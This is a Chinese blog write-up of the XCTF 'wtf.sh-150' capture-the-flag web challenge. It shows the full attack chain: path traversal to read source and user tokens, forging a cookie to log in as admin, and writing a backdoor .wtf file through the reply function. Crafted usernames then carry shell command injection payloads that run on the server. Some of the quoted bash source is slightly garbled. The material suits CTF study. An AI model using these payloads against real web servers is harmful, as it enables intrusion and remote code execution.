D~DIDI~DIDIDI!!!!

0%

攻防世界WEB-wtf.sh-150

在攻防世界上看到的一道题,完全搞不懂,看了wp把flag搞出来了,最后还是写一下解题过程吧

这一题的题目环境是一个论坛形式

01

正常注册账号,发现admin用户已存在,只能注册其他账号,登陆后可以回复并发表新的内容

开始做题:

1、首先在展示文章的页面post.wtf下存在路径穿越漏洞

访问 http://111.198.29.45:57425/post.wtf?post=../,得到页面源码,搜索flag

02

发现只要是admin用户登陆到这个页面,就会触发get_flag1,而且在这里还暴露了,存在users这个路径

2、访问 http://111.198.29.45:57425/post.wtf?post=../users

03

发现系统账号的账号信息全部存储在这里了,对比我自己注册的xianyu账号发现第二排就是Cookies中的TOKEN

3、伪造Cookies登陆admin账号04

在profile里面得到flag1

05

flag1: Flag: xctf{cb49256d1ab48803

4、继续代码审计,寻找代码执行,来get_flag2,寻找解析wtf文件的代码,定位到这里

06

将代码格式化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
max_page_include_depth=64
page_include_depth=0
function include_page {
# include_page pathname
local pathname=$1
local cmd=
[[ ${pathname(-4)} = '.wtf' ]];
local can_execute=$;
page_include_depth=$(($page_include_depth+1))
if [[ $page_include_depth -lt $max_page_include_depth ]]
then
local line;
while read -r line; do
# check if we're in a script line or not ($ at the beginning implies script line)
# also, our extension needs to be .wtf
[[ $ = ${line01} && ${can_execute} = 0 ]];
is_script=$;
# execute the line.
if [[ $is_script = 0 ]]
then
cmd+=$'n'${line#$};
else
if [[ -n $cmd ]]
then
eval $cmd log Error during execution of ${cmd};
cmd=
fi
echo $line
fi
done ${pathname}
else
echo pMax include depth exceeded!
pfi
}

通过这段代码我们发现服务器能够解析并执行 wtf 文件,如果还能够上传 wtf 文件并执行的话,就可以达到控制服务器的目的。

于是继续审计代码,发现如下代码给了这个机会:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function reply {
local post_id=$1;
local username=$2;
local text=$3;
local hashed=$(hash_username "${username}");
curr_id=$(for d in posts/${post_id}/*; do basename $d; done | sort -n | tail -n 1);
next_reply_id=$(awk '{print $1+1}' <<< "${curr_id}");
next_file=(posts/${post_id}/${next_reply_id});
echo "${username}" > "${next_file}";
echo "RE: $(nth_line 2 < "posts/${post_id}/1")" >> "${next_file}";
echo "${text}" >> "${next_file}";
# add post this is in reply to to posts cache
echo "${post_id}/${next_reply_id}" >> "users_lookup/${hashed}/posts";
}

这是评论功能的后台代码,同样存在路径穿越

分析发现,代码中的echo "${username}" > "${next_file}"; 会将用户名写入到评论文件之中,如果username是一段可执行代码,并且写入的文件是wtf格式时,那么这个文件就能执行我们插入的代码。(并且wtf.sh只运行文件扩展名为.wtf的脚本和前缀为“$”的行)

5、评论时进行抓包,并修改POST内容,进行路径穿越,上传后门sh.wtf(%09是水平制表符,必须加上,不然都太会把我们的后门文件当作目录去解析)

07

访问页面http://111.198.29.45:57425/users_lookup/sh.wtf,已经写入

08

6、接下来,注册用户,使用户名中含有恶意代码,再进行回复,将用户名写入users_lookup/sh.wtf

首先创建一个用户名为 ${find,/,-iname,get_flag2}的用户,代码含义为查询到get_flag2的位置

09

访问页面http://111.198.29.45:57425/users_lookup/sh.wtf,已经写入,并且恶意代码已经执行,得到了get_flag2的地址

10

7、继续构造恶意用户名的用户,来执行刚才得到的get_flag2文件,

用户名为$/usr/bin/get_flag2,并用这个用户,回复,写入sh.wtf

11

访问页面http://111.198.29.45:57425/users_lookup/sh.wtf,已经写入,并且恶意代码已经执行,得到了flag212

flag2: 149e5ec49d3c29ca}

将flag1和flag2拼接,得到完整flag xctf{cb49256d1ab48803149e5ec49d3c29ca}

这道题主要考核的就是这个路径穿越,以及后面的代码执行,需要很仔细的审阅代码

留下了不学无术的眼泪.jpg

2019062605